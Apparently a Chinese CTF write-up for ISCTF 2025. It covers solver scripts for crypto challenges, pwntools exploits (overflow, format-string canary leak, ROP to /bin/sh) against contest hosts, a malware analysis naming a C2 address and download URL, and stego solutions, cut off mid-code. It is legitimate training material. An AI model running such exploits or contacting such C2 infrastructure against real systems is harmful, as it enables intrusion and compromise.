outputState = [0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1]
ciphertext_hex = '4b3be165a0a0edd67ca8f143884826725107fd42d6a6'

# 完整的流是 initState + outputState
stream = initState + outputState

# 2. 高斯消元法求解 Mask (GF(2))
def solve_lfsr(stream, N=128):
    # 构建矩阵 A 和 向量 b
    # Matrix A: rows are state windows
    # Vector b: next bits
    A = []
    b = []
    
    for i in range(N):
        A.append(stream[i : i+N])
        b.append(stream[i+N])
    
    # 高斯消元
    # 转换为增广矩阵
    M = [row + [b[i]] for i, row in enumerate(A)]
    
    for i in range(N):
        # 寻找主元
        pivot = i
        while pivot < N and M[pivot][i] == 0:
            pivot += 1
        
        if pivot == N:
            continue # 无解或多解情况,这里假设数据完好
            
        # 交换行
        M[i], M[pivot] = M[pivot], M[i]
        
        # 消元
        for j in range(N):
            if i != j and M[j][i] == 1:
                # 行异或
                for k in range(i, N+1):
                    M[j][k] ^= M[i][k]
    
    # 提取解
    mask = [row[N] for row in M]
    return mask

# 求解 mask
mask = solve_lfsr(stream)

# 3. 还原 Key
# 代码逻辑: key = bytes(int(''.join(str(bit) for bit in mask[i*8:(i+1)*8]), 2) for i in range(16))
key_bytes = []
for i in range(16):
    byte_bits = mask[i*8 : (i+1)*8]
    byte_str = ''.join(str(b) for b in byte_bits)
    key_bytes.append(int(byte_str, 2))
    
key = bytes(key_bytes)
print(f"Recovered Key: {key}")

# 4. 解密
# keystream = (key * (len(plaintext)//16 + 1))[:len(plaintext)]
# return bytes(p ^ k for p, k in zip(plaintext, keystream))

ct = binascii.unhexlify(ciphertext_hex)
keystream = (key * (len(ct)//16 + 1))[:len(ct)]

plaintext = bytes(c ^ k for c, k in zip(ct, keystream))
print(f"\nFLAG: {plaintext.decode()}")
#ISCTF{lf5R_jUst_So_s0}

沉迷数学的小蓝鲨

给定的公钥 $Q$ 并不在题目描述的曲线上,而是落在一个参数 $b$ 被篡改的曲线上,且该曲线的阶具有光滑,从而可以使用 Pohlig-Hellman 算法求解离散对数。 此外,生成元 $G$ 使用的是标准 secp256k1 基点的 x 坐标。

import hashlib

def solve_isctf_challenge():
    print("=" * 60)
    print("ISCTF 'Little Blue Shark' Solver (Invalid Curve Attack)")
    print("=" * 60)

    # ---------------------------------------------------------
    # 1. 题目参数定义
    # ---------------------------------------------------------
    # secp256k1 的标准素数 p
    p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
    F = GF(p)

    # 题目给出的公钥 Q
    qx = 0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167
    qy = 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080

    # ---------------------------------------------------------
    # 2. 漏洞利用:恢复错误的曲线参数 b
    # ---------------------------------------------------------
    # 验证发现点 Q 不在 y^2 = x^3 + 3x + 27 上
    # 因此这是 Invalid Curve Attack,我们需要反推 b'
    # b' = y^2 - (x^3 + 3x) mod p
    b_real = F(qy)^2 - (F(qx)^3 + 3*F(qx))
    print(f"[+] Recovered faulty curve parameter b:\n    {b_real}")

    # 定义这条“错误”的曲线 E'
    E = EllipticCurve(F, [3, b_real])
    Q_point = E(qx, qy)
    print("[+] Point Q is valid on the recovered curve.")

    # ---------------------------------------------------------
    # 3. 确定生成元 G
    # ---------------------------------------------------------
    # 在此类攻击中,通常使用标准 secp256k1 基点的 X 坐标映射到错误曲线上
    gx_secp = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
    
    try:
        # lift_x 会寻找具有该 x 坐标的有效点
        G = E.lift_x(Integer(gx_secp))
        print("[+] Generator G recovered (from secp256k1 x-coord).")
    except ValueError:
        print("[-] Failed to lift secp256k1 generator.")
        return

    # ---------------------------------------------------------
    # 4. 求解离散对数 k (Q = k * G)
    # ---------------------------------------------------------
    # 曲线阶包含非常大的素数因子,直接计算会卡死。
    # 但由于题目设计,k 通常较小,或者我们只需要利用小因子。
    # 使用 bounds 参数强制 Sage 使用 BSGS (小步大步法) 在小范围内搜索。
    
    print("[*] Solving Discrete Log using BSGS (assuming small k)...")
    
    try:
        # 设置搜索上限为 2^40 (约1万亿),这对 BSGS 来说是秒解
        k = discrete_log(Q_point, G, operation='+', bounds=(1, 2**40))
        print(f"[SUCCESS] Found private key k: {k}")
    
    except Exception:
        print("[-] Positive k not found, trying negative G...")
        try:
            # 某些实现中 y 坐标可能取反
            k = discrete_log(Q_point, -G, operation='+', bounds=(1, 2**40))
            print(f"[SUCCESS] Found private key k: {k}")
        except Exception as e:
            print(f"[-] Failed to find k. Error: {e}")
            return

    # ---------------------------------------------------------
    # 5. 生成最终 Flag
    # ---------------------------------------------------------
    # 题目要求:将 k 的16进制值转换为 32位 MD5,包裹 ISCTF{}
    
    # 转换为 hex 字符串,去掉 '0x' 前缀
    hex_k = hex(Integer(k))[2:]
    print(f"[+] k (hex): {hex_k}")
    
    # 计算 MD5
    md5_hash = hashlib.md5(hex_k.encode()).hexdigest()
    flag = f"ISCTF{{{md5_hash}}}"
    
    print("\n" + "#" * 40)
    print(flag)
    print("#" * 40)

# 运行求解
if __name__ == "__main__":
    solve_isctf_challenge()
#ISCTF{43896099feea21a3d5804863075e1aaa}

小蓝鲨的密码箱

构建映射表查flag

import requests
import string
import re

url = "http://challenge.bluesharkinfo.com:20377/encrypt"

charset = string.printable.strip() # 或者 string.ascii_letters + string.digits + string.punctuation
print(f"[*] 正在构造 Payload,字符集长度: {len(charset)}")

payload_data = {
    'a': 17,    # 随便改个非0数
    'b': 23,    # 随便改个非0数
    'c': 997,   # 重点:改大这个数,避免取模丢失信息
    'text': charset
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0',
    'Content-Type': 'application/x-www-form-urlencoded'
}

try:
    print("[*] 发送请求获取映射关系...")
    r = requests.post(url, data=payload_data, headers=headers)
    
    html = r.text
    
    hex_outputs = re.findall(r'<div class="hex-output">(.*?)</div>', html, re.DOTALL)
    
    if len(hex_outputs) < 2:
        print("[!] 解析失败,未找到足够的输出区域。")
        exit()
        
    my_cipher_str = hex_outputs[0].strip()
    my_cipher_bytes = my_cipher_str.split()
    
    # Flag 的密文
    flag_cipher_str = hex_outputs[1].strip()
    flag_cipher_bytes = flag_cipher_str.split()
    
    print(f"[*] 获取到 Flag 密文片段: {flag_cipher_str[:20]}...")
    
    if len(my_cipher_bytes) != len(charset):
        print(f"[!] 警告: 发送字符数 ({len(charset)}) 与 返回密文块数 ({len(my_cipher_bytes)}) 不一致!")
    
    cipher_map = {}
    for char, hex_val in zip(charset, my_cipher_bytes):
        cipher_map[hex_val] = char
        
    print("[*] 映射表构建完成。")
    
    flag = ""
    for hex_byte in flag_cipher_bytes:
        if hex_byte in cipher_map:
            flag += cipher_map[hex_byte]
        else:
            flag += "?" # 未知字符
            print(f"[!] 遇到未知密文块: {hex_byte}")
            
    print("-" * 30)
    print(f"FLAG: {flag}")
    print("-" * 30)

except Exception as e:
    print(f"[!] 发生错误: {e}")

baby_math

from sage.all import *

# 1. Setup the High Precision Field
R = RealField(1000)

# 2. Input Values
x_val = "0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100"
enc_val = "1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52"

x = R(x_val)
enc = R(enc_val)

# 3. Lattice Construction
# Scale factor K
K = 10**300 

# Basis Matrix
# Columns correspond to coefficients for: a, b, and the approximation target
M = Matrix(ZZ, [
    [1, 0, int(K * cos(x))],
    [0, 1, int(K * sin(x))],
    [0, 0, int(K * enc)]
])

# 4. Lattice Reduction (LLL)
B = M.LLL()

print("Scanning reduced basis for flag candidates...\n")

# Helper function to replace long_to_bytes
def to_bytes(n):
    n = int(n) # Convert Sage Integer to Python int
    return n.to_bytes((n.bit_length() + 7) // 8, 'big')

# 5. Extract Flag
found = False
for row in B:
    # LLL might return negative vectors, so we take absolute values
    potential_a = abs(row[0])
    potential_b = abs(row[1])
    
    if potential_a == 0 or potential_b == 0:
        continue
        
    try:
        part1 = to_bytes(potential_a)
        part2 = to_bytes(potential_b)
        
        flag_candidate = part1 + part2
        
        # Check for readable text
        # Checks if bytes are within ASCII printable range
        if all(32 <= c <= 126 for c in flag_candidate):
            print(f"Flag found: {flag_candidate.decode()}")
            found = True
            break
            
    except Exception:
        continue

if not found:
    print("Could not automatically decode a flag. Check the basis rows manually:")
    print(B)

小蓝鲨的RSA密文

from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii

# --- 题目给出的参数 ---
c = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117
a2_high = 9012778
LOW_BITS = 16
a1 = 621315
a0 = 452775142

# 提供的十六进制字符串
iv_hex = "bf38e64bb5c1b069a07b7d1d046a9010"
ct_hex = "8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5"

# --- 1. 爆破 a2 并求解 m ---

def solve_m():
    # m 是 16 字节,所以范围在 0 到 2^128 之间
    low_bound = 0
    high_bound = 1 << 128
    
    print(f"[*] 开始爆破 a2 的低 {LOW_BITS} 位...")
    
    # 遍历低 16 位的所有可能性
    for x in range(1 << LOW_BITS):
        # 恢复完整的 a2
        a2_guess = (a2_high << LOW_BITS) + x
        
        # 我们需要求解方程: m^3 + a2*m^2 + a1*m + a0 - c = 0
        # 使用二分查找来寻找整数根 m
        
        l, r = low_bound, high_bound
        found = False
        
        while l <= r:
            mid = (l + r) // 2
            # 计算多项式的值
            val = mid**3 + a2_guess * (mid**2) + a1 * mid + a0
            
            if val == c:
                return mid  # 找到正确密钥
            elif val < c:
                l = mid + 1
            else:
                r = mid - 1
                
        if x % 10000 == 0 and x > 0:
            print(f"[*] 进度: {x}/65536")

    return None

# --- 2. 执行解密 ---

m = solve_m()

if m:
    print(f"[+] 找到 m: {m}")
    try:
        aes_key = long_to_bytes(m)
        print(f"[+] AES Key (hex): {aes_key.hex()}")
        
        iv = binascii.unhexlify(iv_hex)
        ct = binascii.unhexlify(ct_hex)
        
        cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)
        decrypted = cipher.decrypt(ct)
        
        # 尝试去填充并打印
        flag = unpad(decrypted, 16).decode()
        print(f"\n[SUCCESS] Flag: {flag}")
        
    except Exception as e:
        print(f"[!] 解密或去填充失败: {e}")
        # 如果去填充失败,打印原始解密结果看看
        print(f"[!] 原始解密数据: {decrypted}")
else:
    print("[-] 未找到解。")

baby_equation

import gmpy2
from Crypto.Util.number import long_to_bytes

# --- 题目参数 ---
K1 = 5530346600323339885232820545798418499625132786869393636420197124606005490078041505765918120769293936395609675704197197479866186297686468133906640256390919799453701894382992223127374374212586492263661287287954143417128958298503464448
K3 = -5530346600323339885232820545798418499625132786869393636420197035566805062064534503704976756468319888650441668826363984844327206056424439752726283862026042410921197396370839233560708886006884569969932749615838070243922866371345910111
S = K1 + K3
print("[*] 开始精确求解...")

b_approx, _ = gmpy2.iroot(K1 // 6, 6)
b_start = int(b_approx)

found = False
for i in range(-5, 5):
    b = b_start + i
    val = S - b**6
    if val == 0: continue
    if val < 0:
        a_abs, exact = gmpy2.iroot(-val, 3)
        a = -int(a_abs)
    else:
        a, exact = gmpy2.iroot(val, 3)
    if exact:
        print(f"[+] 锁定参数! \n    b = {b} \n    a = {a}")
        numerator = K1 + 2*S - 6*(b**6)
        denominator = 3 * a
        
        if numerator % denominator == 0:
            c = numerator // denominator
            flag_bytes = long_to_bytes(c)
            print(f"\n[SUCCESS] Flag found:\n{flag_bytes.decode()}")
            found = True
            break
        else:
            print("[-] a, b 正确但 c 无法整除,奇怪。")

if not found:
    print("[-] 未能找到解,请检查 K1, K3 是否有误。")

小蓝鲨的费马谜题

import math
import re
from Crypto.Util.number import long_to_bytes, inverse

# ---------------- 配置区域 ----------------
# 题目给出的 n 和 c 
n = 16926747183730811445521182287631871095235807124637325096660759361996155369993998745638293862726267741890840654094794027600177564948819372030933079291097084177091863985749240756085243654442374722882507015343515827787141307909182820013354070321738405810257107651857739607060274549412692517140259717346170524920540888050323066988108836911975466603073034433831887208978130406742714302940264702874305095602623379177353873347208751721068498690917932776984190598143704567665475161453335629659200748786648288309401513856740323455946901312988841290917666732077747457081355853722832166331501779601157719722291598787710746917947
e = 65537
c = 7135669888508993283998887257526185813831780208680788333332044930342125381561919830084088631920301623909949443002073193381401761901398826719665411432016217400457613545308262831975564456231165114091904748808206330488231569773162745696602366468753664188261933014198218922459715972876740957260132243927549037840265753282534565674280908439875550179801788711737901632349136780584007599655055605772651127003711138512998683145763743839326460319440186099818507078433271291685194944254795690424327192625258701835654639832285402990995662846426561789508331799972329711410217802657682842382105869446853207634070295959281375484933

# 这里粘贴了 output.txt 中的所有 Hints 数据 [cite: 1, 2, 3]
hints_data = """
Hint 1: 11, 41, 403072318395713195475880235840306655046644537786837658466183670390322357403650602210882802453171853452
Hint 2: 73, 7, 3401877351823051464833008106697922874740843547186522246399577691648145322938787488999079423405760696040635223407580102549819096176975820017380148265275786281647240647714533261221890310813882987089721138616513427711006945061727486708277298401545762448776593105730005387022319319199166969225690343981500127626848336242187816071435842118963634505746771844269484845077330851526393327015758760003053231670737896550596266539249975891234238005583184203089180325261872944167834576158878843510707348603774425827560724587546720860765943393963597645881666559247252842017499263265738255716811999328445725902262302532911214255949
Hint 23: 41, 97, 15061728396574720128871454281806425283902878531290205263072044930084328354647716799950058691868870125292816458036423472349601649870044904984377004711678761714808846252355372756850495640148784156530292575757175420916873271609977179541391067607437946628688811886889502712607514447458904992024279765998865875618672417318528806259694052202283848620150531327490085874935926140164888318138777816635210686133434879564761574366090585467327313351792501721900090022412568322566880308204689579089754113916523137219409702840025596606460438071507115794360457519041650146002247978792944063933568992230154174930543323173071240960636
Hint 48: 47, 73, 11137871466581047781242984634852964336706264103460602528475970728553465644713327296350923627071860721778412789236714773697433892321959279504008377433584604885817319604115996426320874382244073671694322092160768350159529231732048447670177579115854882538413223938721279445190025525651472499343624011272214336778696111400347742318222789215043195711269360705507743463500549755479755775737105743290208621332589467304719937369513194207595213182980370357559166180993485168866418076474829491707312908665547905615295104716814273672708222960604034067248688735024594069804630472429600684961470444745009128678939204098625367015452
"""
# (脚本会处理这些hint,不用担心不全,上面几个只是例子)

# ---------------- 攻击逻辑 ----------------

def attack():
    # 1. 使用正则表达式匹配所有的 (数字, 数字, 长数字) 组合
    # 这样可以忽略文件中的 "Hint x:"、"" 等杂乱字符
    pattern = r'(\d+),\s*(\d+),\s*(\d+)'
    
    # 这里为了保证能跑到所有数据,我建议你把 output.txt 的全文再贴到 hints_data 变量里
    # 或者直接把文件和脚本放一起读
    # 为了演示方便,我假设你会把文件全文放在同目录下,或者直接复制内容替换上面的 hints_data
    # 下面代码优先读文件,读不到就用上面的字符串
    
    content = hints_data
    try:
        with open('output.txt', 'r', encoding='utf-8') as f:
            content = f.read()
            print("[*] 成功读取 output.txt 文件")
    except:
        print("[!] 未找到 output.txt,使用脚本内置的 hints_data (请确保数据完整)")

    matches = re.findall(pattern, content)
    print(f"[*] 共提取到 {len(matches)} 组 Hint,开始爆破...")

    for i, match in enumerate(matches):
        base1 = int(match[0])
        base2 = int(match[1])
        hint_val = int(match[2])

        # 核心攻击:p = gcd(hint - 2, n)
        p = math.gcd(hint_val - 2, n)

        # 检查是否成功分解
        if p > 1 and p < n:
            print(f"\n[+] 成功! 在第 {i+1} 个 Hint (Base: {base1}, {base2}) 处分解了 n")
            print(f"[+] p = {p}")
            
            q = n // p
            phi = (p - 1) * (q - 1)
            
            try:
                d = inverse(e, phi)
                m = pow(c, d, n)
                flag = long_to_bytes(m)
                print(f"\n[+] FLAG: {flag.decode()}")
            except Exception as ex:
                print(f"[-] 解密报错: {ex}")
                print(f"[-] Decrypted hex: {hex(m)}")
            return

    print("[-] 所有 Hint 都尝试失败。请检查输入数据是否包含完整的 Hint 行。")

if __name__ == "__main__":
    attack()

PWN

来签个到吧

from pwn import *
p=remote('challenge.bluesharkinfo.com',29242)
payload  = b'A' * 108
payload += p32(0xaddaaaaa)  
p.sendline(payload)
p.interactive()         

ez_fmt

from pwn import *
import re

context.log_level = 'debug'   # 不想看太多日志可以改成 'info' 或 'error'
context.arch = 'amd64'

elf = ELF('./ez_fmt')

def start():
    return process('./ez_fmt')
def main():
    p = start()

    #canary
    p.recvuntil(b"1st input:")
    p.sendline(b"%23$p")
    leak = p.recvuntil(b"[leak end]")
    m = re.search(b"0x[0-9a-fA-F]+", leak)
    canary = int(m.group(0), 16)
    log.success(f"leaked canary = {hex(canary)}")

    # ret2win
    win_addr = elf.sym['win']
    log.success(f"win() addr = {hex(win_addr)}")
    p.recvuntil(b"2nd input:")

    payload  = b"A" * 0x88        
    payload += p64(canary)        
    payload += b"B" * 8            
    payload += p64(win_addr)  
    p.sendline(payload)
    p.interactive()
if __name__ == "__main__":
    main()

ret2rop

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#exe = './pwn'
#elf = ELF(exe)
io = remote('challenge.bluesharkinfo.com',12346)
name_addr = 0x4040F0 
pop_rsi_addr = 0x401a1c
mov_rdi_rsi_addr = 0x401a25
system_addr = 0x401180
pop_rbp_ret=0x40131d
def attack():
    system_addr = 0x401180
    io.recvuntil(b"demo")
    io.sendline(b"no")
    io.recvuntil(b"name")
    io.send(b"/bin/sh\x00".ljust(16, b'\x00'))

    # 1. 设置 n (Offset 64) 为 payload 总长度。
    # 2. 设置 Offset 96 也为 payload 总长度。
    # 3. 当 i=64 时,n ^= buf[96] -> n = 0。循环终止。
    # 4. 循环终止后,Offset 88 处的 Ret Address 保持原样(未被异或)。
    # 5. Offset 88 处放置 skip_gadget,弹掉 Offset 96,跳到 Offset 104。
    payload_len = 0xE0 
    payload = b'\x00' * 64
    payload += p64(payload_len)
    payload += p64(0)
    payload += b'B' * 8
    payload += p64(pop_rbp_ret)
    payload += p64(payload_len)
    payload += p64(pop_rsi_addr)     # pop rsi
    payload += p64(name_addr)        # /bin/sh
    payload += p64(mov_rdi_rsi_addr) # mov rdi, rsi
    payload += p64(system_addr)      # system
    
    current_len = len(payload)
    padding_len = payload_len - current_len
    
    payload += b'\x00' * padding_len
    io.recvuntil(b"yourself")
    io.send(payload)

    io.interactive()

if __name__ == "__main__":
    attack()

2048

/bin/sh写道存储name的buff里即可

from pwn import *

# ================= 配置部分 =================
context.log_level = 'debug'
context.arch = 'amd64'
binary_name = './ez2048' 
elf = ELF(binary_name)
io = process(binary_name) 
#io = remote('challenge.bluesharkinfo.com', 29823) # ⚠️ 请确认端口

pop_rdi_ret = 0x40133E    # ROP gadget: pop rdi; ret
name_buf_addr = 0x404A46  # 全局变量地址,我们在那里写入 /bin/sh
system_addr = 0x401355    # system 函数地址 (或者 PLT 地址)
# ret_gadget = 0x40101a   # 用于栈对齐 (可选)
io.recvuntil(b"input your name\n>")
io.send(b"/bin/sh\x00") 
io.recvuntil(b"Press \"Enter\" to start")
io.sendline(b"")

for i in range(6):
    sleep(0.1) 
    io.sendline(b"q")
    io.recvuntil(b"your score:")
    io.recvuntil(b"Enter \"Q\" to settle")
    if i == 5:
        io.sendline(b"Q") 
    else:
        io.sendline(b"n") 

print("[-] Phase 3: Leaking Canary...")
io.recvuntil(b"$ ")
payload_leak = b'a' * 136 + b'b'
io.send(payload_leak) 
io.recvuntil(b"executing command: ")
all_output = io.recvuntil(b"$ ")

start_idx = all_output.find(b'a' * 136 + b'b')
canary_offset = start_idx + 137
canary_raw = all_output[canary_offset : canary_offset + 7]
canary = u64(b'\x00' + canary_raw)
print(f"\n[+] SUCCESS! Leaked Canary: {hex(canary)}\n")

print("[-] Phase 4: Sending ROP Chain...")

prefix = b"exit\x00"
padding_len = 136 - len(prefix)
payload_attack = prefix
payload_attack += b'a' * padding_len
payload_attack += p64(canary)        # 恢复 Canary
payload_attack += p64(0)             # Saved RBP (无所谓)
payload_attack += p64(pop_rdi_ret)   # 把栈顶数据弹入 rdi
payload_attack += p64(name_buf_addr) # rdi = 0x404A46 (即 "/bin/sh")
payload_attack += p64(system_addr)   # call system

io.sendline(payload_attack)
print("[*] Exploit sent. Check your shell!")
io.interactive()
````````````
`


## 病毒分析

![image.png](https://tuchuang-1322890938.cos.ap-shanghai.myqcloud.com/pictures/20251203110516.png)

病毒分析-题目1

题目模仿的APT组织中文代号为

攻击套路就是钓鱼 pdf绑定命令执行然后白加黑,试一下几个常见的apt组织i

海莲花


### 病毒分析-题目2
第一阶段载荷中的入口文件全名为

ISCTF基础规则说明文档.pdf.lnk


### 病毒分析-题目3
第一阶段中使用了一个带有数字签名的文件(非系统文件),其中签名者名称为(完整复制)
![image.png](https://tuchuang-1322890938.cos.ap-shanghai.myqcloud.com/pictures/20251203105735.png)

Zoom Video Communications, Inc.


### 病毒分析-题目4

第一阶段中恶意载荷释放的文件名分别为(提交三次,每次一个文件名)

ISCTF2025基础规则说明文档.pdf
zRC.dat
zRCAppCore.dll


第二阶段使用了一种常见的白加黑技巧,其中黑文件名为

zRCAppCore.dll

### 病毒分析-题目5

### 病毒分析-题目6
![image.png](https://tuchuang-1322890938.cos.ap-shanghai.myqcloud.com/pictures/20251203133757.png)

xor


### 病毒分析-题目7

第二阶段对下一阶段载荷进行了简单的保护,保护使用的密码为

tf7*TV&8u


### 病毒分析-题目8
第三阶段载荷使用了一种开源的保护工具,工具英文缩写为

tao@kali [/tmp] ➜ upx -d download\ (1).exe [13:42:03]
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.4 Markus Oberhumer, Laszlo Molnar & John Reiser May 9th 2024

    File size         Ratio      Format      Name

173056 <-     80384   46.45%    win32/pe     download (1).exe

Unpacked 1 file.

upx



### 病毒分析-题目9
第三阶段载荷首次回连域名为

![image.png](https://tuchuang-1322890938.cos.ap-shanghai.myqcloud.com/pictures/20251203135607.png)

olonised-my.sharepoint.com


### 病毒分析-题目10
第三阶段载荷获取命令的回连地址为(格式:IP:端口)
访问地址获取c2信息

http://colonised-my.sharepoint.com/personal/f00001111_colonised_onmicrosoft_com/_layouts/52/download.aspx?share=EQsrTSD_4ehGvYTXbmU5zR0B0lk4L-x0r8yGztFlye2j9Q

oA0tG3aW2vT8mL5tvM1qV3cF2aB2xS6ztT7gX0zB1xR9zK8mjP0xP2iT3lO6fH1rpE4gP6pA2mE9dE7dntyVmZqZlZm5lZy5Fti2mZe1lD1bZ0nJ8gY7lR2qmP3vK5nY1hD3cT7guJ8tQ8rE6qJ1gF6ipZ0rF0vR5yB4xA4nyD7wM0lV5wC4rZ1c


直接动调看一下c2地址
![image.png](https://tuchuang-1322890938.cos.ap-shanghai.myqcloud.com/pictures/20251203142902.png)

47.252.28.78:37204



### 病毒分析-题目11

第三阶段载荷获取命令时发送的内容为

![image.png](https://tuchuang-1322890938.cos.ap-shanghai.myqcloud.com/pictures/20251203143000.png)

get_cmd


### 病毒分析-题目12

直接访问`http://47.252.28.78:37204/`
![image.png](https://tuchuang-1322890938.cos.ap-shanghai.myqcloud.com/pictures/20251203143245.png)

## Misc

### 湖心亭看雪
```python
a = b'*********' #这个东西你以后要用到
b = b'blueshark' 
c = bytes([x ^ y for x, y in zip(a, b)])
print(c.hex())
#c = 53591611155a51405e
c_hex = '53591611155a51405e'
c_bytes = bytes.fromhex(c_hex)
b = b'blueshark'
a_recovered = bytes([x ^ y for x, y in zip(c_bytes, b)])
print(a_recovered)
#15ctf2025

image.png

藏了个压缩包
image.png

修一下头
image.png

sb套娃,snow隐写

PS E:\CTF\MISC> ./SNOW.EXE -C -p "15ctf2025" ./flag.txt
ISCTF{y0U_H4v3_kN0wn_Wh4t_15_Sn0w!!!}

Image_is_all_you_need

import numpy as np
from PIL import Image
import png

# 读取 tEXt chunk 里的额外信息(哪些像素本该是 256)
def read_text_chunk(src_png, index=1):
    reader = png.Reader(filename=src_png)
    chunks = list(reader.chunks())
    img_extra = chunks[index][1].decode()
    img_extra = eval(img_extra)  # 之前就是 str(list(...)) 存进去的
    return img_extra  # 返回的是一个索引列表

# 把一张 secret_i.png 读成一维数组,并把“本来是 256”的像素修回来
def load_share(path):
    img = Image.open(path)
    arr = np.asarray(img)  # H x W x C,uint8
    shape = arr.shape
    flat = arr.flatten().astype(np.int64)  # 升级成 int64 方便做 mod 计算

    # 修复 256 -> 0 的那部分
    indices = read_text_chunk(path, index=1)
    flat[indices] = 256  # 这里 256 是模 257 下的 -1,但像素只保存到 0..255,所以才需要 chunk

    return flat, shape

def reconstruct_secret_png(share_paths, out_path="secret_recovered.png"):
    mod = 257

    # 预先算好的权重(对应 x = 1..6 在 t=0 的拉格朗日基)
    weights = np.array([6, 242, 20, 242, 6, 256], dtype=np.int64)

    # 读取所有 share
    shares_flat = []
    shape = None

    for p in share_paths:
        flat, shp = load_share(p)
        if shape is None:
            shape = shp
        shares_flat.append(flat)

    shares_flat = np.stack(shares_flat, axis=0)  # 6 x N
    # shares_flat[i, j] = 第 i 张 share 在第 j 个像素的值

    # 加权求和:S = sum_i w_i * y_i (mod 257)
    # 先广播:weights -> 6x1
    w = weights[:, None]  # 6 x 1
    S = (w * shares_flat).sum(axis=0) % mod  # N

    # 原像素只会是 0..255,所以如果出现 256 就映射回 0(理论上不会,但稳妥一点)
    S[S == 256] = 0

    S = S.astype(np.uint8)
    img_arr = S.reshape(shape)

    img = Image.fromarray(img_arr)
    img.save(out_path)
    print(f"reconstructed secret saved to {out_path}")

if __name__ == "__main__":
    paths = [
        "secret_1.png",
        "secret_2.png",
        "secret_3.png",
        "secret_4.png",
        "secret_5.png",
        "secret_6.png",
    ]
    reconstruct_secret_png(paths, "secret.png")
import torch
import torch.nn as nn
import torch.nn.init as init
import torchvision.transforms as T
from PIL import Image
import numpy as np
import zlib
from reedsolo import RSCodec

# ==========================================
# 1. 基础组件
# ==========================================
rs = RSCodec(128)

def initialize_weights(net_l, scale=1):
    if not isinstance(net_l, list): net_l = [net_l]
    for net in net_l:
        for m in net.modules():
            if isinstance(m, nn.Conv2d):
                init.kaiming_normal_(m.weight, a=0, mode='fan_in')
                m.weight.data *= scale
                if m.bias is not None: m.bias.data.zero_()
            elif isinstance(m, nn.Linear):
                init.kaiming_normal_(m.weight, a=0, mode='fan_in')
                m.weight.data *= scale
                if m.bias is not None: m.bias.data.zero_()
            elif isinstance(m, nn.BatchNorm2d):
                init.constant_(m.weight, 1)
                init.constant_(m.bias.data, 0.0)

class DWT(nn.Module):
    def __init__(self): super(DWT, self).__init__(); self.requires_grad = False
    def forward(self, x):
        x01 = x[:, :, 0::2, :] / 2; x02 = x[:, :, 1::2, :] / 2
        x1, x2, x3, x4 = x01[:, :, :, 0::2], x02[:, :, :, 0::2], x01[:, :, :, 1::2], x02[:, :, :, 1::2]
        return torch.cat((x1+x2+x3+x4, -x1-x2+x3+x4, -x1+x2-x3+x4, x1-x2-x3+x4), 1)

class IWT(nn.Module):
    def __init__(self): super(IWT, self).__init__(); self.requires_grad = False
    def forward(self, x):
        r = 2
        in_batch, in_channel, in_height, in_width = x.size()
        out_channel, out_height, out_width = int(in_channel / (r ** 2)), r * in_height, r * in_width
        x1, x2, x3, x4 = x[:, 0:out_channel, :, :]/2, x[:, out_channel:out_channel*2, :, :]/2, x[:, out_channel*2:out_channel*3, :, :]/2, x[:, out_channel*3:out_channel*4, :, :]/2
        h = torch.zeros([in_batch, out_channel, out_height, out_width]).float().to(x.device)
        h[:, :, 0::2, 0::2] = x1 - x2 - x3 + x4; h[:, :, 1::2, 0::2] = x1 - x2 + x3 - x4
        h[:, :, 0::2, 1::2] = x1 + x2 - x3 - x4; h[:, :, 1::2, 1::2] = x1 + x2 + x3 + x4
        return h

class ResidualDenseBlock_out(nn.Module):
    def __init__(self, bias=True):
